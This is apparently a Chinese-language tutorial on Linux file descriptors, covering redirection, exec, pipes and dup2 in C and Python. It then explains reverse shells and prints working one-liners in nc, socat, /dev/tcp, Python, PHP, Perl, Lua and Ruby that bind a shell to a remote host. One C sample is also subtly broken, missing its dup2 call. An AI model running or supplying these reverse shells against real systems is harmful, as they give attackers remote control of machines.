0x01 文件描述符介绍
Linux 系统中，把一切都看做是文件，当进程打开现有文件或创建新文件时，内核向进程返回一个文件描述符，文件描述符就是内核为了高效管理已被打开的文件所创建的索引，用来指向被打开的文件，所有执行I/O操作的系统调用都会通过文件描述符。这个操作包含各种文件的读写，程序的输入输出等。
0x1 文件与文件描述符
文件描述符最终对应的是文件，文件包含多种类型文件又可分为：普通文件、目录文件、链接文件和设备文件。程序刚刚启动的时候，0是标准输入，1是标准输出，2是标准错误。如果此时去打开一个新的文件，它的文件描述符会是3。POSIX标准要求每次打开文件时（含socket）必须使用当前进程中最小可用的文件描述符号码.
0x2 相互关系
其中进程，文件，文件描述符的关系如下：
- 一个进程可以有多个文件描述符
- 一个文件可以由多个文件描述符对应，文件描述符可以是不同进程
- 一个文件描述符只能对应一个文件
具体关系图如下
文件描述符映射到文件
第一列是用户态进程符号描述表，后两列是内核态系统级表项。具体从文件描述符到文件，先从文件描述符表开始索引，定位到文件句柄指针，接着找到打开文件表，存储着文件的状态，包括偏移，inode号等，不同的文件描述符可以指向相同的文件句柄指针（可用dup或dup2函数实现）。
0x3 操作指令
lsof
lsof是列出系统所占用的资源（list open files），其中包括句柄资源。
lsof -a -p pid -d0,1,2,3#查看进程的文件描述符lsof -w -n #查看所有使用的文件
ulimit
ulimit主要是用来限制进程对资源的使用情况的，它支持各种类型的限制，包括打开文件句柄数限制。
ulimit -n #查看进程允许打开的最大文件句柄数
ulimit -n pid#设置进程能打开的最大文件句柄数看完了内容，做个实验放松一下：Web操作系统基础-Linux
0x02 Shell中的文件描述符
在shell中使用的文件描述符总共有三种只读，只写，读写，参见下图：
文件描述符种类
在FD一列分别是u,w,r，其中u代表可读可写,一般来讲>代表写，<代表读 在shell中所有的文件描述符都是要被继承的，因为shell中执行命令其实是在子进程中执行命令，子进程会继承父进程所有的环境变量，文件描述符等。
0x1 bash重定向
命令 |
echo "asd" > hello |
cat - < hello |
echo "asd" > hello 2>&1 |
echo "asd" > hello 将标准输出重定向到文件，这样命令执行的结果会全部写在hello文件中。此命令等价于echo "asd">&hello
cat - < hello 将标准输入重定向到文件，cat - 意思是接受标准输入为文件进行输出，此命令等价于以下几个命令 cat hello | cat -exec 0<hello;cat - 第一种只是多此一举，单纯的为了演示cat -的其他使用方法，该命令成功的原因在于管道符| 将管道符之后的命令的标准输入设置成了前一个指令的标准输出。第二种首先修改程序标准输入对应的文件为hello文件，其次执行cat -就会从标准输入中读取这是的标准输入文件已经成为了hello文件。
echo "asd" > hello 2>&1 ,主要是2>&1这个在下面的exec指令中会经常遇到，首先>&是赋值后者描述符的输出属性，<&是赋值后者描述符的输入属性。
0x2 exec
exec指令是linux shell自带的指令，可以利用此指令修改，保存当前进程的文件描述符指向。
命令 |
exec 3<>hello |
exec 3>hello |
exec 3<hello |
exec 3>&2 |
exec 3<&1 |
exec 3&- |
exec 0<hello |
exec 3<>hello，将该shell的3号描述符制定到hello文件上并设置可读可写属性
命令执行图
exec 3>hello ，exec 3<hello分别以输出和输入的方式重定向文件描述符3对应的文件
输出重定向
输入重定向
exec 3>&2 复制文件描述符2对应的文件到3描述符并赋予写属性 exec 3<&1 复制文件描述符1对应的文件到3描述符并赋予读属性
exec 3>&- 关闭文件描述符
关闭文件描述符
exec 0<hello 将0文件描述符的文件重定向到hello文件上
不过此时在当前shell中仍然可以输入，原因是shell的输入是直接从键盘获取的，0号描述符只是影响了shell中启动的子进程。
比如cat - 会直接从标准输入中获取内容。
0x3 socket 套接字与描述符
在bash中利用socket可以实现很多功能，包括反弹shell，接受文件等。
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.xx.xx 4430 1>/tmp/backpipe
nc-socket文件描述符
主机一二之间利用socket套接字连接，文件描述符3代表新创建的socket套接字，管道符|使得/bin/bash的输出成为了nc的输入，同时nc将输出重定向到了pipe文件与/bin/bash的输入同一文件，具体关系如下
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.0.119:9999
socat-socket文件描述符
exec 22<>/dev/tcp/192.168.0.119/4444
sh <&22 >&22 2>&22该方法先把socket套接字保存为文件描述符，再将子进程sh的所有文件描述符重定向到socket文件描述上
0x03 程序中的文件描述符利用
在程序中文件描述符和管道可以用于进程通信等，同时在反弹shell方面有着较好的实用性。从多个语言的不同功能描述管道与文件描述符在实际使用中的作用。包含C、python、php、perl、Ruby、Lua多种语言在内的测试代码以及结果。
函数 | 功能 |
dup(a) | 复制文件描述符a所关联的文件 |
dup2(a,b) | 将a的赋值给b |
0x1 c语言
利用管道及文件描述符实现进程间的通信,
#include "stdio.h"
#include <unistd.h>
#include <sys/types.h>
int main() {
char buffer[1024] = {0};
int len;
int pfd[2];
int status;
int pid;
/* create pipe */
if (pipe(pfd)<0)
return -1;
/* fork to execute external program or scripts */
pid = fork();
if (pid<0) {
return 0;
} else if (pid==0) {
/* child process */
dup2(pfd[1], STDOUT_FILENO);
close(pfd[0]);
char *cmd[] = {"bash","-c","echo '111'",NULL};
/* execute CGI */
execv("/bin/bash",cmd);
exit(0);
} else {
/* parent process */
close(pfd[1]);
/* print output from CGI */
while((len=read(pfd[0], buffer, 1023))>0) {
buffer[len] = '\0';
printf("qqqqq%s\n", buffer);
}
/* waiting for CGI */
waitpid((pid_t)pid, &status, 0);
}
}代码创建了一对管道如图所示：
fork过后，父子进程都连接pipe的读写端，与shell一样0，1描述符都是代表读写，对象是描述符文件，从描述符文件中读，写到描述符文件中。同时要关闭不必要的文件描述符读写端各保留一个。
fork pipe示意图
该示例把子进程输出重定向到文件，代码及解释如下：
#include "stdio.h"
#include "unistd.h"
#include "sys/types.h"
#include "fcntl.h"
int main() {
char buffer[1024] = {0};
int len;
int status;
int pid,fd;
fd = open("data.in",O_WRONLY);
/* fork to execute external program or scripts */
pid = fork();
if (pid==0) {
/* child process */
(fd, STDOUT_FILENO);
char *cmd[] = {
"bash","-c","echo '111'",NULL
};
/* execute CGI */
execv("/bin/bash",cmd);
exit(0);
} else {
waitpid((pid_t)pid, &status, 0);
}
}
代码15行dup2(a,b)函数将a的描述符文件赋值给b，可以把子进程的执行结果在文件中保存。
0x2 python
#!/usr/bin/env python
# coding=utf-8
import os,sys
aaa = os.open("./data.out",os.O_WRONLY)
pid = os.fork()
if pid ==0 :
os.dup2(aaa,1)
cmd = ["/bin/bash","-c","echo 'aaaa'"]
os.execv(cmd[0],cmd)利用python代码实现了c语言版子进程命令执行结果保存到文件。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'创建socket套接字，并将0，1，2描述符重定向到套接字上，执行subprocess继承当前进程的文件描述符状态，将bash的输入输出与套接字绑定实现反弹。
0x3 phpphp -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
php代码对应的文件描述符
根据文件描述符都是递增的道理，创建新的文件描述符之后其大小应该为3，所以直接将0，1，2重定向到了3，就完成了把bash的输入输出和socket绑定操作。
0x4 perl
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl代码 子程序 文件描述符
在perl代码中，重定向函数为open，open(STDOUT, ">file1")翻译为将替换STDOUT指向的文件为file1；open(STDIN,">&S")翻译为替换STDIN指向的文件为S指向的文件。
0x5 lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
lua 代码文件描述符
和php类似的现象，文件描述符编号递增，接着把bash输入输出重定向到socket
0x6 ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'同上php和lua的重定向原理
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.115","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby代码文件描述符
脱离了系统自带的bash，将socket和程序cmd IO绑定起来，利用|实现重定向。
0x04 总结
从基础shell的文件描述符到程序中的文件描述符。可以总结几个比较重要的点
- 文件描述符在用户态，同时在系统中会对应一个文件
- 文件描述符对应的文件可以有多种类型，pipe，文件，终端等
- 0，1，2是程序默认的输入，输出，错误输出，新的文件描述符号会递增
- 子进程会继承所有父进程的文件描述符状态
- 文件描述符有很多赋值操作例如exec ,>&, <&,>,<
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